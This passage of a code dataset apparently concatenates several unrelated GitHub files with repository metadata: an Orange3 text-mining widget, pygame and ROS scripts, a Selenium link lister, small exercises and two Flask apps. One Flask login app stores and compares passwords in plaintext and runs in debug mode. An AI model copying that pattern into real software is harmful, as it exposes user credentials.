[]\n\n\ndef run(\n corpus: Optional[Corpus],\n words: Optional[List],\n state: TaskState\n) -> Results:\n results = Results(scores=[])\n if not corpus or not words:\n return results\n\n def callback(i: float, status=\"\"):\n state.set_progress_value(i * 100)\n if status:\n state.set_status(status)\n if state.is_interruption_requested():\n raise Exception\n\n callback(0, \"Calculating...\")\n semantic_search = SemanticSearch()\n results.scores = semantic_search(corpus.documents, words, callback)\n return results\n\n\nclass SemanticListView(QTableView):\n def __init__(self):\n super().__init__(\n sortingEnabled=True,\n editTriggers=QTableView.NoEditTriggers,\n selectionBehavior=QTableView.SelectRows,\n selectionMode=QTableView.ExtendedSelection,\n cornerButtonEnabled=False,\n alternatingRowColors=True\n )\n self.horizontalHeader().setStretchLastSection(True)\n self.verticalHeader().setDefaultSectionSize(22)\n self.verticalHeader().hide()\n\n\nclass DocumentsModel(PyTableModel):\n @staticmethod\n def _argsortData(data: np.ndarray, order: Qt.SortOrder) -> np.ndarray:\n # put NaNs last when sorting\n if data.dtype not in (float, int):\n data = np.char.lower(data)\n indices = np.argsort(data, kind='mergesort')\n if order == Qt.DescendingOrder:\n indices = indices[::-1]\n if data.dtype == float:\n return np.roll(indices, -np.isnan(data).sum())\n return indices\n\n\nclass DisplayDocument:\n Document, Section, Sentence = range(3)\n ITEMS = [\"Document\", \"Section\", \"Sentence\"]\n START_TAG, END_TAG = \"\", \"\"\n TAG = f\"{START_TAG}{{}}{END_TAG}\"\n SECTION_SEP = \"\\n\"\n REP = \"...\"\n\n def __init__(self, display_type: int):\n self.__type = display_type\n\n def __call__(self, text: str, matches: List[Tuple]) -> str:\n if self.__type == self.Document:\n return self._tag_text(text, matches)\n\n elif self.__type == self.Section:\n tagged = self._tag_text(text, matches)\n tagged = re.sub(f\"{self.SECTION_SEP}+\", self.SECTION_SEP, tagged)\n sections = tagged.split(self.SECTION_SEP)\n replaced_sections = self._replace_sections(sections)\n purged_sections = self._purge(replaced_sections)\n return self.SECTION_SEP.join(purged_sections)\n\n elif self.__type == self.Sentence:\n if not matches and text:\n return self.REP\n\n sentences = self._replace_sentences(text, matches)\n return \" \".join(sentences)\n\n else:\n raise NotImplementedError\n\n @staticmethod\n def _purge(collection: List[str]) -> List[str]:\n purged = []\n add_rep = True\n for text in collection:\n if text != DisplayDocument.REP or add_rep:\n purged.append(text)\n add_rep = text != DisplayDocument.REP\n return purged\n\n @staticmethod\n def _replace_sections(sections: List[str]) -> List[str]:\n start_tag, end_tag = DisplayDocument.START_TAG, DisplayDocument.END_TAG\n opened = False\n for i, section in enumerate(sections):\n if section.count(start_tag) != section.count(end_tag):\n opened = section.count(start_tag) > section.count(end_tag)\n elif not opened and not section.count(end_tag):\n sections[i] = DisplayDocument.REP\n return sections\n\n @staticmethod\n def _replace_sentences(text: str, matches: List[Tuple]) -> List[str]:\n def replace_unmatched(ind_start, ind_end):\n stripped = text[ind_start: ind_end].strip(\" \")\n if stripped[:1] == DisplayDocument.SECTION_SEP:\n sentences.append(DisplayDocument.SECTION_SEP)\n if ind_end - ind_start > 1:\n sentences.append(DisplayDocument.REP)\n if DisplayDocument.SECTION_SEP in stripped[1:]:\n sentences.append(DisplayDocument.SECTION_SEP)\n\n sentences = []\n end = 0\n for start_, end_ in matches:\n replace_unmatched(end, start_)\n sentence = text[start_: end_]\n sentences.append(DisplayDocument.TAG.format(sentence))\n end = end_\n\n replace_unmatched(matches[-1][1], len(text))\n return sentences\n\n @staticmethod\n def _tag_text(text: str, matches: List[Tuple]) -> str:\n text = list(text)\n\n for start, end in matches[::-1]:\n text[start: end] = list(\n DisplayDocument.TAG.format(\"\".join(text[start:end]))\n )\n return \"\".join(text)\n\n\nclass OWSemanticViewer(OWWidget, ConcurrentWidgetMixin):\n name = \"Semantic Viewer\"\n description = \"Find documents and parts of documents semantically similar to input words\"\n icon = \"icons/SemanticViewer.svg\"\n priority = 1120\n keywords = \"semantic viewer, search\"\n\n class Inputs:\n corpus = Input(\"Corpus\", Corpus, default=True)\n words = Input(\"Words\", Table)\n\n class Outputs:\n matching_docs = Output(\"Matching Docs\", Corpus, default=True)\n other_docs = Output(\"Other Docs\", Corpus)\n corpus = Output(\"Corpus\", Corpus)\n\n class Warning(OWWidget.Warning):\n no_words_column = Msg(\"Input is missing 'Words' column.\")\n\n threshold = Setting(0.5)\n display_index = Setting(DisplayDocument.Document)\n selection = Setting([], schema_only=True)\n\n def __init__(self):\n OWWidget.__init__(self)\n ConcurrentWidgetMixin.__init__(self)\n self.corpus: Optional[Corpus] = None\n self.words: Optional[List] = None\n self._results: Optional[Results] = None\n self.__pending_selection = self.selection\n self._setup_gui()\n\n def _setup_gui(self):\n # Control area\n box = gui.hBox(self.controlArea, \"Filtering\")\n gui.doubleSpin(box, self, \"threshold\", 0, 1, 0.01, None,\n label=\"Threshold: \", orientation=Qt.Horizontal,\n callback=self.__on_threshold_changed)\n\n box = gui.hBox(self.controlArea, \"Display\")\n gui.radioButtons(box, self, \"display_index\", DisplayDocument.ITEMS,\n callback=self.__on_display_changed)\n\n gui.rubber(self.controlArea)\n\n # Main area\n model = DocumentsModel(parent=self)\n self._list_view = SemanticListView()\n self._list_view.setModel(model)\n self._list_view.selectionModel().selectionChanged.connect(\n self.__on_selection_changed\n )\n self._list_view.horizontalHeader().sectionClicked.connect(\n self.__on_horizontal_header_clicked\n )\n\n splitter = QSplitter()\n splitter.addWidget(self._list_view)\n self._web_view = gui.WebviewWidget(splitter, debug=False)\n splitter.setSizes([200, 300])\n self.mainArea.layout().addWidget(splitter)\n\n def __on_threshold_changed(self):\n self._show_documents()\n\n def __on_display_changed(self):\n self._show_documents()\n\n def __on_selection_changed(self):\n self.selection = self._get_selected_indices()\n self._show_documents()\n self.commit()\n\n def __on_horizontal_header_clicked(self):\n self.selection = self._get_selected_indices()\n self._show_documents()\n\n @Inputs.corpus\n def set_corpus(self, corpus: Optional[Corpus]):\n self.corpus = corpus\n\n def _clear(self):\n self.cancel()\n self._results = None\n self.selection = []\n self._list_view.model().clear()\n self._web_view.setHtml(\"\")\n\n @Inputs.words\n def set_words(self, words: Optional[Table]):\n self.words = None\n self.Warning.no_words_column.clear()\n if words:\n if WORDS_COLUMN_NAME in words.domain and words.domain[\n WORDS_COLUMN_NAME].attributes.get(\"type\") == \"words\":\n self.words = list(words.get_column(WORDS_COLUMN_NAME))\n else:\n self.Warning.no_words_column()\n\n def handleNewSignals(self):\n self._clear()\n self.update_scores()\n if self.corpus is not None:\n self._list_documents()\n\n def update_scores(self):\n self.start(run, self.corpus, self.words)\n\n def on_exception(self, ex: Exception):\n raise ex\n\n def on_partial_result(self, _: Any):\n pass\n\n # pylint: disable=arguments-differ\n def on_done(self, results: Results):\n # self._apply_sorting()\n self._results = results.scores\n\n if not self._results or not self.corpus or not self.words:\n self.commit()\n return\n self._list_documents()\n\n def _list_documents(self):\n model = self._list_view.model()\n model.setHorizontalHeaderLabels([\"Match\", \"Score\", \"Document\"])\n\n def get_avg_score(i: int) -> Union[float, str]:\n if self._results is not None:\n result = self._results[i]\n return \"NA\" if result is None else np.mean([r[1] for r in result])\n else:\n return \"\"\n\n def get_n_matches(ngram):\n if self.words is not None:\n return sum(ngram.count(word) for word in self.words)\n else:\n return \"\"\n\n data = [\n [get_n_matches(ngram), get_avg_score(i), title]\n for i, (title, ngram) in enumerate(\n zip(self.corpus.titles.tolist(), self.corpus.ngrams)\n )\n ]\n model.wrap(data)\n for i in range(len(data)):\n model.setData(model.index(i, 0), i, role=IndexRole)\n self._list_view.setColumnWidth(0, 65)\n self._list_view.setColumnWidth(1, 65)\n\n self.select_documents()\n\n def select_documents(self):\n self.selection = self.__pending_selection or [0]\n self.__pending_selection = []\n self._set_selected_rows(self.selection)\n\n def _get_selected_indices(self) -> List[int]:\n selection_model = self._list_view.selectionModel()\n model = self._list_view.model()\n rows = []\n for row in range(selection_model.model().rowCount()):\n if selection_model.isRowSelected(row, QModelIndex()):\n rows.append(model.data(model.index(row, 0), role=IndexRole))\n return rows\n\n def _set_selected_rows(self, selected_rows: List[int]):\n model = self._list_view.model()\n n_columns = model.columnCount()\n selection = QItemSelection()\n for i in selected_rows:\n _selection = QItemSelection(model.index(i, 0),\n model.index(i, n_columns - 1))\n selection.merge(_selection, QItemSelectionModel.Select)\n self._list_view.selectionModel().select(\n selection, QItemSelectionModel.ClearAndSelect\n )\n\n def _show_documents(self):\n if self.corpus is None:\n return\n\n documents = self.corpus.documents\n parser = DisplayDocument(self.display_index)\n htmls = []\n for doc_index in self.selection:\n text = documents[doc_index]\n matches = []\n if self._results:\n matches = [ind for ind, score in self._results[doc_index] or []\n if score >= self.threshold]\n text = parser(text, matches)\n text = text.replace(\"\\n\", \"
    \")\n html = f\"

    {text}

    \"\n htmls.append(html)\n\n html = \"
    \".join(htmls)\n base = QUrl.fromLocalFile(__file__)\n self._web_view.setHtml(HTML.format(html), base)\n\n def onDeleteWidget(self):\n self.shutdown()\n super().onDeleteWidget()\n\n def commit(self):\n matched = other = annotated = None\n if self.corpus:\n mask = np.zeros(len(self.corpus), dtype=bool)\n mask[self.selection] = True\n matched = self.corpus[mask] if sum(mask) else None\n other = self.corpus[~mask] if sum(~mask) else None\n annotated = create_annotated_table(self.corpus, self.selection)\n self.Outputs.matching_docs.send(matched)\n self.Outputs.other_docs.send(other)\n self.Outputs.corpus.send(annotated)\n\n def send_report(self):\n if not self.corpus:\n return\n self.report_data(\"Corpus\", self.corpus)\n if self.words is not None:\n self.report_paragraph(\"Words\", \", \".join(self.words))\n self.report_table(self._list_view, num_format=\"{:.3f}\")\n\n def copy_to_clipboard(self):\n text = self._web_view.selectedText()\n QApplication.clipboard().setText(text)\n\n\nif __name__ == \"__main__\":\n # pylint: disable=ungrouped-imports\n from Orange.widgets.utils.widgetpreview import WidgetPreview\n\n words_ = create_words_table([\"human\", \"graph\", \"minors\", \"trees\"])\n WidgetPreview(OWSemanticViewer).run(\n set_corpus=Corpus.from_file(\"deerwester\"), # deerwester book-excerpts\n set_words=words_\n )\n","repo_name":"biolab/orange3-text","sub_path":"orangecontrib/text/widgets/owsemanticviewer.py","file_name":"owsemanticviewer.py","file_ext":"py","file_size_in_byte":14593,"program_lang":"python","lang":"en","doc_type":"code","stars":118,"dataset":"github-code","pt":"52"} +{"seq_id":"6669105687","text":"import pygame\nimport constants\nimport math\n\n\nclass CharacterClass:\n def __init__(self, x, y, health, mob_animations, character_type) -> None:\n self.character_type = character_type\n self.score = 0\n self.flip = False\n self.animation_list = mob_animations[character_type]\n self.frame_index = 0\n self.action = 0 # 0: idle, 1: run\n self.update_time = pygame.time.get_ticks()\n self.running = False\n self.health = health\n self.alive = True\n\n self.image = self.animation_list[self.action][self.frame_index]\n self.rect = pygame.Rect(0, 0, 40, 40)\n self.rect.center = (x, y)\n\n def move(self, dx, dy):\n self.running = False\n\n if (dx, dy) != (0, 0):\n self.running = True\n\n if dx < 0:\n self.flip = True\n if dx > 0:\n self.flip = False\n # control diagonal speed\n if dx != 0 and dy != 0:\n dx = dx * (math.sqrt(2) / 2)\n dy = dy * (math.sqrt(2) / 2)\n\n self.rect.x += dx\n self.rect.y += dy\n\n def update(self):\n # HEALTH CHECK\n if self.health <= 0:\n self.health = 0\n self.alive = False\n\n # check what action the player is performing\n if self.running == True:\n self.update_action(1)\n else:\n self.update_action(0)\n\n animation_cooldown = 70\n # handle animation\n # updated image\n self.image = self.animation_list[self.action][self.frame_index]\n # check if enought time has passed since the last update\n if pygame.time.get_ticks() - self.update_time > animation_cooldown:\n self.frame_index += 1\n self.update_time = pygame.time.get_ticks()\n # check if animation has finished\n if self.frame_index >= len(self.animation_list[self.action]):\n self.frame_index = 0\n\n def update_action(self, new_action):\n # check if the new action is differente from the previous one\n if new_action != self.action:\n self.action = new_action\n # update the animation settings\n self.frame_index = 0\n self.update_time = pygame.time.get_ticks()\n\n def draw(self, surface):\n fipped_image = pygame.transform.flip(self.image, self.flip, False)\n if self.character_type == 0:\n surface.blit(\n fipped_image,\n (\n self.rect.x,\n self.rect.y - (constants.SCALE * constants.PLAYER_OFFSET),\n ),\n )\n else:\n surface.blit(fipped_image, self.rect)\n pygame.draw.rect(surface, constants.RED, self.rect, 1)\n","repo_name":"gnavadev/pygame-experiment","sub_path":"character.py","file_name":"character.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"31401571115","text":"# Dizide en çok tekrarlanan sayısı ve adedini bulan program\n# Dizi sayıları sıralı +\n\na = [1, 1, 1, 3, 5, 5, 8, 9, 17, 17, 17, 17, 20, 24, 24]\nn = len(a)\nb = 2*n*[1]\nk = 0\nsum = 1\n\nfor i in range(n):\n for j in range(i, n):\n if a[i] == a[j]:\n sum += 1\n b[k] = a[i]\n b[k+1] = sum\n k += 2\n sum = 1\nprint(b) \n\n\nmax = b[1]\nfor i in range(3, n, 2):\n if b[i] > max:\n max = b[i]\n\nprint(\"Dizi en çok tekrarlanan sayı: {},\\nTekrarlanma sayısı: {}\"\n .format(b[i-1], max))\n","repo_name":"0zancan/AlgorithmBasics","sub_path":"Week 9/hw9_3.gyp","file_name":"hw9_3.gyp","file_ext":"gyp","file_size_in_byte":521,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12656222553","text":"# mad-libs.py\n# Searches a text file for keywords, asks a user for replacement for keyword, write results to file results.txt\n\nimport sys\nimport re\n\n\ndef print_usage():\n \"\"\" This function will print the usage information if too few command-line arguments are given \"\"\"\n print(f\"Usage:\")\n print(\n f\"python mad-libs.py - Reads the contents of for keywords to replace Mad-Libs style.\"\n )\n\n\ndef get_contents(filename):\n \"\"\" This function will read the input file contents in chunks and then return a list of the words in the file\n\n Argument: name of file to open and read from\n Returns: List of words in the file\n \"\"\"\n\n try:\n with open(filename, \"r\") as f:\n\n size_to_read = 10\n chunk = f.read(size_to_read)\n lines = chunk\n\n while len(chunk) > 0:\n chunk = f.read(size_to_read)\n lines += chunk\n\n return lines.split(\" \")\n\n except EnvironmentError:\n print(f\"Unable to open file {filename}\")\n\n\ndef replace_items(contents, to_match=\"ADJECTIVE|NOUN|VERB\"):\n \"\"\" Take a list of strings and replace the string if it matches the regex NOUN, VERB, ADJECTIVE\n Argument1: list of strings\n Argument2: A regex pattern to search for\n Returns: List of strings\n \"\"\"\n\n # Use regex to match\n regex = re.compile(to_match)\n\n for i in range(len(contents)):\n match = regex.match(contents[i])\n\n # If a match is found ask user to replace it\n if match:\n to_replace = match.group(0)\n contents[i] = regex.sub(get_replacement(to_replace), contents[i])\n\n return contents\n\n\ndef get_replacement(item):\n \"\"\" Asks a user input to replace the matched item\n Argument1: String that was matched\n Returns: String input from user\n \"\"\"\n replacement = input(f\"Please enter a {item.lower()}: \")\n return replacement\n\n\ndef print_results(contents):\n \"\"\" Print a joined list contents to the screen\n Argument: a list of strings\n \"\"\"\n print(\" \".join(contents))\n\n\ndef write_results(contents):\n \"\"\" Write contents to a file named results.txt\n Argument: a list of strings\n \"\"\"\n\n try:\n with open(\"results.txt\", \"w\") as wf:\n to_write = \" \".join(contents)\n wf.write(to_write)\n print(f\"Contents written to results.txt successfully\")\n except EnvironmentError:\n print(f\"Unable to write to file.\")\n\n\ndef main():\n if len(sys.argv) <= 1:\n print_usage()\n else:\n contents = get_contents(sys.argv[1])\n\n contents = replace_items(contents)\n\n print_results(contents)\n\n write_results(contents)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dbm79/ATBSWP","sub_path":"ch7/mad-libs.py","file_name":"mad-libs.py","file_ext":"py","file_size_in_byte":2758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18323285901","text":"from flask import Flask, render_template, url_for, redirect, flash,session,request\n\n#ibm database\nimport ibm_db as db\n\n#using flaskforms i have separated all the classes to forms.py inside classes\nfrom classes import forms\n\n\n#importing configurations\nfrom config import Config\n\napp = Flask(__name__)\napp.config.from_object(Config)\nconn = db.connect(\"DATABASE=bludb;HOSTNAME=???;PORT=???;Security=SSL;SSLServerCertificate=/Users/shady/Documents/Projects/x64py/Job recommender/untitled folder/DigiCertGlobalRootCA.crt;UID=???;PWD=???\",'','')\n\n\n@app.route('/login',methods=['GET','POST'])\ndef login():\n\tform = forms.login()\n\tif(request.method == 'POST'):\n\t\tuname = request.form['uname']\n\t\tpwrd = request.form['pwrd']\n\t\tsql = \"select * from users where uname=?\"\n\t\tstmt = db.prepare(conn,sql)\n\t\tdb.bind_param(stmt,1,uname)\n\t\tdb.execute(stmt)\n\t\taccount = db.fetch_assoc(stmt)\n\t\tif(account):\n\t\t\tif(account['PWRD'] == pwrd):\n\t\t\t\tsession['NAME'] = account['NAME']\n\t\t\t\treturn redirect(url_for('home'))\n\t\t\telse:\n\t\t\t\tflash('Incorrect Username or Password')\n\t\t\t\treturn redirect(url_for('login'))\n\t\telse:\n\t\t\tredirect(url_for('register'))\n\n\treturn render_template('login.html',form=form)\n\n\n\n\n\n@app.route('/home')\ndef home():\n\tif(\"NAME\" in session):\n\t\treturn render_template('home.html',name=session['NAME'])\n\telse:\n\t\treturn redirect(url_for('login'))\n\n\n@app.route('/register',methods=['GET','POST'])\ndef register():\n\tform = forms.register()\n\tif(request.method == 'POST'):\n\t\tif(form.validate_on_submit()):\n\t\t\tname = request.form['name']\n\t\t\tuname = request.form['uname']\n\t\t\tpwrd = request.form['pwrd']\n\t\t\temail = request.form['email']\n\t\t\tsql = \"insert into users values(?,?,?,?)\"\n\t\t\tstmt = db.prepare(conn,sql)\n\t\t\tdb.bind_param(stmt,1,name)\n\t\t\tdb.bind_param(stmt,2,uname)\n\t\t\tdb.bind_param(stmt,3,email)\n\t\t\tdb.bind_param(stmt,4,pwrd)\n\t\t\tdb.execute(stmt)\n\t\t\tflash('You are successfully registered! You can login now')\n\t\t\treturn redirect(url_for('login'))\n\treturn render_template('register.html',form=form)\n\n\n\n\n\nif(__name__ == '__main__'):\n\tapp.run(host='localhost',port = 3000,debug = True)\n\n\n\n\n\n\n\n","repo_name":"IBM-EPBL/IBM-Project-6077-1658822962","sub_path":"Assignments/2019115051 (Lingesh S)/Assignment 2/Code/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"11698843564","text":"#!/usr/bin/env python\n\n# Server-like service advertiser for problem generation\n\nimport cv2\nimport numpy as np\nimport rospy\nfrom ros_enhsp.srv import ProblemGenerator, ProblemGeneratorResponse\n\n#### Service handler ####\ndef ProblemGenerator_handler(req):\n # # Define obstacles from map\n # obstacles = []\n # i_obs = 1\n # for grid_x in range(req.map.info.width):\n # for grid_y in range(req.map.info.height):\n # occupancy = req.map.data[grid_y * req.map.info.width + grid_x]\n # if occupancy >= 90:\n # x = grid_x * req.map.info.resolution + req.map.info.origin.position.x\n # y = grid_y * req.map.info.resolution + req.map.info.origin.position.y\n # obstacles.append(['o%d' % i_obs, x, y])\n # i_obs += 1\n \n # Problem header\n problem = '(define (problem turtle_problem)\\n\\t(:domain turtlebot)'\n\n # # Define robot object\n problem += '\\n\\n\\t(:objects\\n\\t\\t\\tturtle -robot'\n \n # Define obstacles' objects\n for i in range(1,7+1):\n problem += '\\n\\t\\t\\t o%d -obstacle' % i\n problem += '\\n\\t)'\n # #### Initial state\n problem += '\\n\\n\\t(:init'\n\n # Map data\n problem += '\\n\\t\\t\\t(= (resolution) %.1f)' % (req.map.info.resolution)\n problem += '\\n\\t\\t\\t(= (maxx) %.1f)' % (req.map.info.width * req.map.info.resolution + req.map.info.origin.position.x)\n problem += '\\n\\t\\t\\t(= (maxy) %.1f)' % (req.map.info.height * req.map.info.resolution + req.map.info.origin.position.y)\n problem += '\\n\\t\\t\\t(= (minx) %.1f)' % (req.map.info.origin.position.x)\n problem += '\\n\\t\\t\\t(= (miny) %.1f)' % (req.map.info.origin.position.y)\n\n # Obstacle data\n # Left wall\n problem += '\\n\\n\\t\\t\\t(= (cx o1) %.1f)' % (req.map.info.resolution * 0.5)\n problem += '\\n\\t\\t\\t(= (cy o1) %.1f)' % (req.map.info.resolution * 28.5)\n problem += '\\n\\t\\t\\t(= (rc1 o1) %.1f)' % (req.map.info.resolution * 2 + 2)\n problem += '\\n\\t\\t\\t(= (rc2 o1) %.1f)' % (req.map.info.resolution * 29.5 + 2)\n problem += '\\n\\t\\t\\t(= (re1 o1) %.1f)' % (req.map.info.resolution * 5 + 2)\n problem += '\\n\\t\\t\\t(= (re2 o1) %.1f)' % (req.map.info.resolution * 32.5 + 2)\n \n # Right wall\n problem += '\\n\\n\\t\\t\\t(= (cx o2) %.1f)' % (req.map.info.resolution * 46.5)\n problem += '\\n\\t\\t\\t(= (cy o2) %.1f)' % (req.map.info.resolution * 28.5)\n problem += '\\n\\t\\t\\t(= (rc1 o2) %.1f)' % (req.map.info.resolution * 2 + 2)\n problem += '\\n\\t\\t\\t(= (rc2 o2) %.1f)' % (req.map.info.resolution * 29.5 + 2)\n problem += '\\n\\t\\t\\t(= (re1 o2) %.1f)' % (req.map.info.resolution * 5 + 2)\n problem += '\\n\\t\\t\\t(= (re2 o2) %.1f)' % (req.map.info.resolution * 32.5 + 2)\n \n # Bottom wall\n problem += '\\n\\n\\t\\t\\t(= (cx o3) %.1f)' % (req.map.info.resolution * 24)\n problem += '\\n\\t\\t\\t(= (cy o3) %.1f)' % (req.map.info.resolution * 0.5)\n problem += '\\n\\t\\t\\t(= (rc1 o3) %.1f)' % (req.map.info.resolution * 24 + 2)\n problem += '\\n\\t\\t\\t(= (rc2 o3) %.1f)' % (req.map.info.resolution * 2 + 2)\n problem += '\\n\\t\\t\\t(= (re1 o3) %.1f)' % (req.map.info.resolution * 28 + 2)\n problem += '\\n\\t\\t\\t(= (re2 o3) %.1f)' % (req.map.info.resolution * 5 + 2)\n\n # Top wall\n problem += '\\n\\n\\t\\t\\t(= (cx o4) %.1f)' % (req.map.info.resolution * 24)\n problem += '\\n\\t\\t\\t(= (cy o4) %.1f)' % (req.map.info.resolution * 58.5)\n problem += '\\n\\t\\t\\t(= (rc1 o4) %.1f)' % (req.map.info.resolution * 24 + 2)\n problem += '\\n\\t\\t\\t(= (rc2 o4) %.1f)' % (req.map.info.resolution * 2 + 2)\n problem += '\\n\\t\\t\\t(= (re1 o4) %.1f)' % (req.map.info.resolution * 28 + 2)\n problem += '\\n\\t\\t\\t(= (re2 o4) %.1f)' % (req.map.info.resolution * 5 + 2)\n\n # Middle wall\n # problem += '\\n\\n\\t\\t\\t(= (cx o5) %.1f)' % (req.map.info.resolution * 16)\n # problem += '\\n\\t\\t\\t(= (cy o5) %.1f)' % (req.map.info.resolution * 28.5)\n # problem += '\\n\\t\\t\\t(= (rc1 o5) %.1f)' % (req.map.info.resolution * 25.5)\n # problem += '\\n\\t\\t\\t(= (rc2 o5) %.1f)' % (req.map.info.resolution * 2)\n # problem += '\\n\\t\\t\\t(= (re1 o5) %.1f)' % (req.map.info.resolution * 27.5)\n # problem += '\\n\\t\\t\\t(= (re2 o5) %.1f)' % (req.map.info.resolution * 4)\n\n # Box upper\n problem += '\\n\\n\\t\\t\\t(= (cx o5) %.1f)' % (req.map.info.resolution * 24.5)\n problem += '\\n\\t\\t\\t(= (cy o5) %.1f)' % (req.map.info.resolution * 53)\n problem += '\\n\\t\\t\\t(= (rc1 o5) %.1f)' % (req.map.info.resolution * 6+2)\n problem += '\\n\\t\\t\\t(= (rc2 o5) %.1f)' % (req.map.info.resolution * 6.5+2)\n problem += '\\n\\t\\t\\t(= (re1 o5) %.1f)' % (req.map.info.resolution * 8+6)\n problem += '\\n\\t\\t\\t(= (re2 o5) %.1f)' % (req.map.info.resolution * 8.5+6)\n\n # Box center\n problem += '\\n\\n\\t\\t\\t(= (cx o6) %.1f)' % (req.map.info.resolution * 24.5)\n problem += '\\n\\t\\t\\t(= (cy o6) %.1f)' % (req.map.info.resolution * 20.5)\n problem += '\\n\\t\\t\\t(= (rc1 o6) %.1f)' % (req.map.info.resolution * 5+2)\n problem += '\\n\\t\\t\\t(= (rc2 o6) %.1f)' % (req.map.info.resolution * 5+2)\n problem += '\\n\\t\\t\\t(= (re1 o6) %.1f)' % (req.map.info.resolution * 8+4)\n problem += '\\n\\t\\t\\t(= (re2 o6) %.1f)' % (req.map.info.resolution * 8+4)\n \n # Box lower right\n problem += '\\n\\n\\t\\t\\t(= (cx o7) %.1f)' % (req.map.info.resolution * 40.5)\n problem += '\\n\\t\\t\\t(= (cy o7) %.1f)' % (req.map.info.resolution * 5.5)\n problem += '\\n\\t\\t\\t(= (rc1 o7) %.1f)' % (req.map.info.resolution * 5+2)\n problem += '\\n\\t\\t\\t(= (rc2 o7) %.1f)' % (req.map.info.resolution * 5+2)\n problem += '\\n\\t\\t\\t(= (re1 o7) %.1f)' % (req.map.info.resolution * 8+4)\n problem += '\\n\\t\\t\\t(= (re2 o7) %.1f)' % (req.map.info.resolution * 8+4)\n \n # # Robot position\n problem += '\\n\\n\\t\\t\\t(= (x turtle) %d)' % (req.pose.pose.pose.position.x / req.map.info.resolution)\n problem += '\\n\\t\\t\\t(= (y turtle) %d)' % (req.pose.pose.pose.position.y / req.map.info.resolution)\n\n # # Robot energy\n problem += '\\n\\n\\t\\t\\t(= (energy turtle) 0)'\n \n # # Close init\n problem += '\\n\\t)'\n\n # Goal\n problem += '\\n\\n\\t(:goal'\n problem += '\\n\\t\\t\\t(and'\n problem += '\\n\\t\\t\\t\\t(= (x turtle) %d)' % (req.goal.pose.position.x / req.map.info.resolution)\n problem += '\\n\\t\\t\\t\\t(= (y turtle) %d)' % (req.goal.pose.position.y / req.map.info.resolution)\n problem += '\\n\\t\\t\\t\\t(= (energy turtle) 0)'\n problem += '\\n\\t\\t\\t)'\n problem += '\\n\\t)'\n\n # Metric\n if rospy.get_param('/problem_generator/ignore_metric'):\n rospy.loginfo('[Problem Generator] Ignoring metric in problem')\n pass\n else:\n problem += '\\n\\t(:metric minimize (energy turtle))'\n\n # Close domain\n problem += '\\n)'\n\n return ProblemGeneratorResponse(problem)\n\n\n#### Node function ####\ndef node(): \n # Initialize node\n rospy.init_node('problem_generator', anonymous=True)\n\n # Advertise service\n _ = rospy.Service('ProblemGenerator', ProblemGenerator, ProblemGenerator_handler)\n # rospy.loginfo(\"[Problem Generator] Ready\")\n\n # Run node until killed\n rospy.spin()\n\nif __name__ == \"__main__\":\n try:\n node()\n except rospy.ROSInterruptException:\n pass","repo_name":"rgmaidana/ros_enhsp","sub_path":"scripts/problem_generator.py","file_name":"problem_generator.py","file_ext":"py","file_size_in_byte":7074,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"43145941558","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom webdriver_manager.firefox import GeckoDriverManager\nimport time\n\ndriver = webdriver.Firefox(executable_path=GeckoDriverManager().install())\ndriver.implicitly_wait(10)\ndriver.get(\"https://amazon.com\")\n\nprint(driver.title)\ndriver.implicitly_wait(10)\ndriver.maximize_window()\n\n\nlinkList = driver.find_elements(By.TAG_NAME, \"a\")\nprint(len(linkList))\n#print(linkList)\nfor ele in linkList:\n# link_text = ele.text\n# print(link_text)\n print(ele.get_attribute('href'))\n\nimageList = driver.find_elements(By.TAG_NAME, 'img')\nprint(len(imageList))\n\nfor ele in imageList:\n print(ele.get_attribute('src'))","repo_name":"padalasurendramac/python","sub_path":"selenium/totallink.py","file_name":"totallink.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"31071042744","text":"import function\nimport inputFunctions\n\nexit = False\nwhile not exit:\n file = input(\"Podaj nazwę pliku: \")\n readed = inputFunctions.load_data(file)\n print(\"Wczytana macierz:\")\n print(readed)\n function.find_tree(readed)\n option = input(\"Czy chcesz zakończyć działanie (T/n)?\")\n if option == 't' or option == 'T':\n exit = True\n","repo_name":"MattyOstrowsky/game-theory","sub_path":"Network programming/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"19782500608","text":"import requests\nfrom pycoingecko import CoinGeckoAPI\nfrom flask import Flask, request, jsonify\nimport logging\nimport sys\nfrom price_conversion import current_price\n\napp = Flask(__name__)\nlogging.basicConfig(stream=sys.stdout, level=logging.DEBUG, format=f'%(asctime)s %(message)s')\nlogger = logging.getLogger(__name__)\n\n\n@app.route(\"/exchange\", methods=[\"GET\"])\ndef exchange_into_dollars():\n coin = request.args.get(\"coin\", \"\")\n amount = request.args.get(\"amount\")\n\n logger.info(\"coin input value is: %s (type: %s)\" % (coin, type(coin)))\n logger.info(\"amount input value is: %s (type: %s)\" % (amount, type(amount)))\n\n # Calculate this!\n print(coin,amount,\"####\")\n usd_amount, status = current_price(amount,coin)\n\n # if status == False:\n # return jsonify({\"error\":\"Invalid amount\"})\n \n\n return jsonify(usd_amount=usd_amount)\n\n\nif __name__ == '__main__':\n app.run(host='127.0.0.1', port=6001)\n\n# http://127.0.0.1:6001/exchange?coin=btc&amount=1.5","repo_name":"shaanu2808/currency","sub_path":"currency_convert/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43911609794","text":"#Homework_2\r\n# 1. Construct an integer from the string \"123\"\r\nprint (f'String \"123\" is converted into: {int(123)} {type(int(\"123\"))}\\n')\r\n\r\n# 2. Construct a float from the integer 123\r\nprint (f'Integer 